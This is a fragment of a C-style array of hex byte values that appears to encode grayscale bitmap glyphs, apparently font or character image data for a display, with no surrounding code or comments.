0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x24, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC7, 0xB8,
0x85, 0x4E, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x35, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xB2, 0x1E, 0x00, 0x00, 0x00, 0x35, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xE7, 0x1D, 0x00, 0x00, 0x35, 0xFF, 0xFF, 0xFF, 0xBD, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73,
0x84, 0xB2, 0xE2, 0xFF, 0xFF, 0xFF, 0xFF, 0xBC, 0x00, 0x00, 0x35, 0xFF, 0xFF, 0xFF, 0x7D, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8D, 0xFF, 0xFF, 0xFF, 0xFF, 0x26, 0x00,
0x35, 0xFF, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xB5, 0xFF, 0xFF, 0xFF, 0x5D, 0x00, 0x35, 0xFF, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x74, 0xFF, 0xFF, 0xFF, 0x79, 0x00, 0x35, 0xFF, 0xFF, 0xFF,
0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0xFF, 0xFF, 0xFF,
0x78, 0x00, 0x35, 0xFF, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x77, 0xFF, 0xFF, 0xFF, 0x5C, 0x00, 0x35, 0xFF, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0xD0, 0xFF, 0xFF, 0xFE, 0x25, 0x00, 0x35, 0xFF,
0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x26, 0xB1, 0xFF, 0xFF,
0xFF, 0xB3, 0x00, 0x00, 0x35, 0xFF, 0xFF, 0xFF, 0xD1, 0x9B, 0x9B, 0x9B, 0x9B, 0x9B, 0x9B, 0x9D,
0xB1, 0xCF, 0xFE, 0xFF, 0xFF, 0xFF, 0xBA, 0x0D, 0x00, 0x00, 0x35, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xBC, 0x05, 0x00, 0x00, 0x00,
0x35, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xF2, 0x5D, 0x00, 0x00, 0x00, 0x35, 0xFF, 0xFF, 0xFF, 0xC9, 0x8A, 0x8A, 0x8A, 0x8A, 0x8A,
0x8A, 0x8B, 0x98, 0xB4, 0xF2, 0xFF, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x35, 0xFF, 0xFF, 0xFF,
0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x13, 0xCC, 0xFF, 0xFF, 0xFF, 0xC6,
0x00, 0x00, 0x35, 0xFF, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x16, 0xFD, 0xFF, 0xFF, 0xEE, 0x00, 0x00, 0x35, 0xFF, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCF, 0xFF, 0xFF, 0xFF, 0x09, 0x00, 0x35, 0xFF,
0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA0, 0xFF,
0xFF, 0xFF, 0x12, 0x00, 0x35, 0xFF, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x92, 0xFF, 0xFF, 0xFF, 0x1C, 0x00, 0x35, 0xFF, 0xFF, 0xFF, 0x7D, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x86, 0xFF, 0xFF, 0xFF, 0x27, 0x00,
0x35, 0xFF, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x79, 0xFF, 0xFF, 0xFF, 0x42, 0x00, 0x35, 0xFF, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6C, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x35, 0xFF, 0xFF, 0xFF,
0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x59, 0xFF, 0xFF, 0xFF,
0xD0, 0x0E, 0x30, 0xFF, 0xFF, 0xFF, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x2A, 0xFF, 0xFF, 0xFF, 0xFF, 0x6B, 0x00, 0x00, 0x00, 0x3D, 0x47, 0x47, 0x47, 0x0D,
0x00, 0x00, 0x00, 0x00, 0x44, 0xFF, 0xFF, 0xFF, 0xDC, 0x15, 0x00, 0x00, 0x00, 0x09, 0xDC, 0xFF,
0xFF, 0xE6, 0x21, 0x00, 0x00, 0x00, 0x00, 0x87, 0xFF, 0xFF, 0xEE, 0x2C, 0x00, 0x00, 0x00, 0x00,
0x2E, 0xFB, 0xFF, 0xF5, 0x39, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9C, 0xE9, 0xE7, 0x48, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0x2C,
0x2C, 0x09, 0x00, 0x07, 0x54, 0x84, 0x8B, 0x0F, 0xEC, 0xFF, 0xFF, 0x4F, 0x31, 0xD5, 0xFF, 0xFF,
0xFF, 0x1F, 0xEC, 0xFF, 0xFF, 0x7C, 0xEE, 0xFF, 0xFF, 0xFF, 0xFF, 0x1F, 0xEC, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0x1B, 0xEC, 0xFF, 0xFF, 0xFF, 0xFF, 0xCA, 0x47, 0x17, 0x03, 0x00,
0xEC, 0xFF, 0xFF, 0xFF, 0xAD, 0x05, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0xF3, 0x19, 0x00,
0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0xAD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF,
0xFF, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xEC, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF,
0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xE7, 0xFF, 0xFF, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x02, 0x06, 0x06, 0x03, 0x00, 0x00, 0x00, 0x02, 0x06, 0x06, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xFF, 0xFF, 0xE4, 0x11, 0x00, 0x00, 0xAF, 0xFF, 0xFF,
0x9F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB5, 0xFF, 0xFF,
0xAA, 0x00, 0x63, 0xFF, 0xFF, 0xE9, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x17, 0xEA, 0xFF, 0xFF, 0x82, 0xF3, 0xFF, 0xFF, 0x4C, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x96, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0xD8, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x2B, 0x2B, 0x2B, 0x14, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8,
0xC8, 0xC8, 0xC7, 0xB8, 0x85, 0x4E, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x35, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xB2, 0x1E, 0x00,
0x00, 0x00, 0x35, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xE7, 0x1D, 0x00, 0x00, 0x35, 0xFF, 0xFF, 0xFF, 0xBD, 0x73, 0x73, 0x73,
0x73, 0x73, 0x73, 0x73, 0x84, 0xB2, 0xE2, 0xFF, 0xFF, 0xFF, 0xFF, 0xBC, 0x00, 0x00, 0x35, 0xFF,
0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8D, 0xFF, 0xFF,
0xFF, 0xFF, 0x26, 0x00, 0x35, 0xFF, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xB5, 0xFF, 0xFF, 0xFF, 0x5D, 0x00, 0x35, 0xFF, 0xFF, 0xFF, 0x7D, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x74, 0xFF, 0xFF, 0xFF, 0x79, 0x00,
0x35, 0xFF, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x54, 0xFF, 0xFF, 0xFF, 0x78, 0x00, 0x35, 0xFF, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x77, 0xFF, 0xFF, 0xFF, 0x5C, 0x00, 0x35, 0xFF, 0xFF, 0xFF,
0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0xD0, 0xFF, 0xFF, 0xFE,
0x25, 0x00, 0x35, 0xFF, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x26, 0xB1, 0xFF, 0xFF, 0xFF, 0xB3, 0x00, 0x00, 0x35, 0xFF, 0xFF, 0xFF, 0xD1, 0x9B, 0x9B, 0x9B,
0x9B, 0x9B, 0x9B, 0x9D, 0xB1, 0xCF, 0xFE, 0xFF, 0xFF, 0xFF, 0xBA, 0x0D, 0x00, 0x00, 0x35, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xBC,
0x05, 0x00, 0x00, 0x00, 0x35, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF2, 0x5D, 0x00, 0x00, 0x00, 0x35, 0xFF, 0xFF, 0xFF, 0xC9, 0x8A,
0x8A, 0x8A, 0x8A, 0x8A, 0x8A, 0x8B, 0x98, 0xB4, 0xF2, 0xFF, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00,
0x35, 0xFF, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x13, 0xCC,
0xFF, 0xFF, 0xFF, 0xC6, 0x00, 0x00, 0x35, 0xFF, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0xFD, 0xFF, 0xFF, 0xEE, 0x00, 0x00, 0x35, 0xFF, 0xFF, 0xFF,
0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCF, 0xFF, 0xFF, 0xFF,
0x09, 0x00, 0x35, 0xFF, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xA0, 0xFF, 0xFF, 0xFF, 0x12, 0x00, 0x35, 0xFF, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x92, 0xFF, 0xFF, 0xFF, 0x1C, 0x00, 0x35, 0xFF,
0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x86, 0xFF,
0xFF, 0xFF, 0x27, 0x00, 0x35, 0xFF, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x79, 0xFF, 0xFF, 0xFF, 0x42, 0x00, 0x35, 0xFF, 0xFF, 0xFF, 0x7D, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6C, 0xFF, 0xFF, 0xFF, 0x66, 0x00,
0x35, 0xFF, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x59, 0xFF, 0xFF, 0xFF, 0xD0, 0x0E, 0x30, 0xFF, 0xFF, 0xFF, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2A, 0xFF, 0xFF, 0xFF, 0xFF, 0x6B, 0x00, 0x2B, 0x2E, 0x2E,
0x02, 0x00, 0x00, 0x00, 0x2C, 0x2E, 0x2E, 0x02, 0x04, 0xDA, 0xFF, 0xFF, 0x7A, 0x00, 0x00, 0x64,
0xFF, 0xFF, 0xE9, 0x0F, 0x00, 0x37, 0xFB, 0xFF, 0xFA, 0x33, 0x24, 0xF3, 0xFF, 0xFF, 0x4C, 0x00,
0x00, 0x00, 0x7E, 0xFF, 0xFF, 0xDC, 0xD2, 0xFF, 0xFF, 0x97, 0x00, 0x00, 0x00, 0x00, 0x03, 0xC7,
0xFF, 0xFF, 0xFF, 0xFF, 0xD8, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x23, 0xF3, 0xFF, 0xFF, 0xFA,
0x33, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x03, 0x03, 0x02, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x24, 0x2C, 0x2C, 0x09, 0x00, 0x07, 0x54, 0x84, 0x8B, 0x0F, 0x00, 0x00, 0xEC, 0xFF,
0xFF, 0x4F, 0x31, 0xD5, 0xFF, 0xFF, 0xFF, 0x1F, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x7C, 0xEE, 0xFF,
0xFF, 0xFF, 0xFF, 0x1F, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0x1B,
0x00, 0x00, 0xEC, 0xFF, 0xFF, 0xFF, 0xFF, 0xCA, 0x47, 0x17, 0x03, 0x00, 0x00, 0x00, 0xEC, 0xFF,
0xFF, 0xFF, 0xAD, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0xF3, 0x19, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0xAD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF,
0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF,
0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF,
0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE7, 0xFF, 0xFF, 0x70, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6D, 0xC9,
0xC9, 0xC9, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x24, 0xF7, 0xFF, 0xFF, 0xDD, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBD, 0xFF, 0xFF, 0xE6, 0x22, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0xFF, 0xFF, 0xEF, 0x2D,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x15,
0xEC, 0xFF, 0xF5, 0x3A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x18, 0x67, 0x67, 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B, 0x2F, 0x53, 0x5E, 0x3F, 0x1E, 0x02,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x6B, 0xE2, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xF9, 0xA9, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3A,
0xD4, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xB8, 0x11, 0x00, 0x00,
0x00, 0x00, 0x00, 0x1D, 0xED, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF2, 0xF3, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xBD, 0x04, 0x00, 0x00, 0x00, 0x03, 0xC3, 0xFF, 0xFF, 0xFF, 0xD5, 0x50, 0x12, 0x00,
0x00, 0x1A, 0x42, 0xB3, 0xFF, 0xFF, 0xFF, 0xFF, 0x97, 0x00, 0x00, 0x00, 0x39, 0xFF, 0xFF, 0xFF,
0xC1, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0xFB, 0xFF, 0xFF, 0xFC, 0x08, 0x00,
0x00, 0x75, 0xFF, 0xFF, 0xFF, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9A,
0xFF, 0xFF, 0xFF, 0x35, 0x00, 0x00, 0xAE, 0xFF, 0xFF, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x37, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0xB6, 0xFF, 0xFF, 0xFA, 0x0A,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0xC1, 0xC4, 0xC4, 0x62, 0x00, 0x00,
0x85, 0xFF, 0xFF, 0xFF, 0x96, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x4D, 0xFF, 0xFF, 0xFF, 0xFF, 0xC5, 0x61, 0x15, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0xCC, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFE, 0xD1, 0x90, 0x53, 0x19, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x15, 0xD9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xDF, 0xA2, 0x52, 0x08, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0x7D, 0xE9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xED, 0x6F, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x37, 0x7E,
0xC0, 0xF5, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x86, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x34, 0x70, 0xB8, 0xF7, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x5A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B,
0x6D, 0xE5, 0xFF, 0xFF, 0xFF, 0xD1, 0x00, 0x1C, 0x43, 0x43, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x22, 0xEC, 0xFF, 0xFF, 0xFB, 0x09, 0x7C, 0xFF, 0xFF, 0xFF,
0x2A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8E, 0xFF, 0xFF, 0xFF,
0x38, 0x51, 0xFF, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x75, 0xFF, 0xFF, 0xFF, 0x39, 0x26, 0xFF, 0xFF, 0xFF, 0xBF, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB9, 0xFF, 0xFF, 0xFF, 0x0F, 0x03, 0xEF, 0xFF, 0xFF, 0xFD,
0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0xFB, 0xFF, 0xFF, 0xE4, 0x00,
0x00, 0x5D, 0xFF, 0xFF, 0xFF, 0xFF, 0xA1, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x83, 0xFA,
0xFF, 0xFF, 0xFF, 0x8D, 0x00, 0x00, 0x00, 0xA8, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0xD9, 0xAD, 0x96,
0xA7, 0xCF, 0xF5, 0xFF, 0xFF, 0xFF, 0xFF, 0xE2, 0x0E, 0x00, 0x00, 0x00, 0x10, 0xB0, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xCB, 0x1A, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x42, 0xD1, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0xB9, 0x50,
0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x32, 0x57, 0x7C, 0xA0, 0xA8, 0x97,
0x79, 0x5B, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x17, 0xA4, 0xA5, 0xA5, 0xA3, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xA8, 0xFF, 0xFF, 0xFF, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x4B, 0xFF, 0xFF, 0xFF, 0x87, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B,
0xE1, 0xFF, 0xFF, 0x9A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8E,
0xFF, 0xFF, 0xAB, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7C,
0x8C, 0x80, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0x69,
0x8D, 0x9D, 0x78, 0x4C, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3B, 0xC8, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xA3, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x3D, 0xFB, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD6, 0x22, 0x00, 0x00, 0x10, 0xE5, 0xFF, 0xFF, 0xF7, 0x9B,
0x65, 0x66, 0x88, 0xDD, 0xFF, 0xFF, 0xFF, 0xB5, 0x00, 0x00, 0x4D, 0xFF, 0xFF, 0xFF, 0x41, 0x00,
0x00, 0x00, 0x00, 0x09, 0xAA, 0xFF, 0xFF, 0xFF, 0x23, 0x00, 0x80, 0xFF, 0xFF, 0xF3, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x2B, 0xFF, 0xFF, 0xFF, 0x4D, 0x00, 0x8E, 0xFF, 0xFF, 0xFF, 0x58, 0x00,
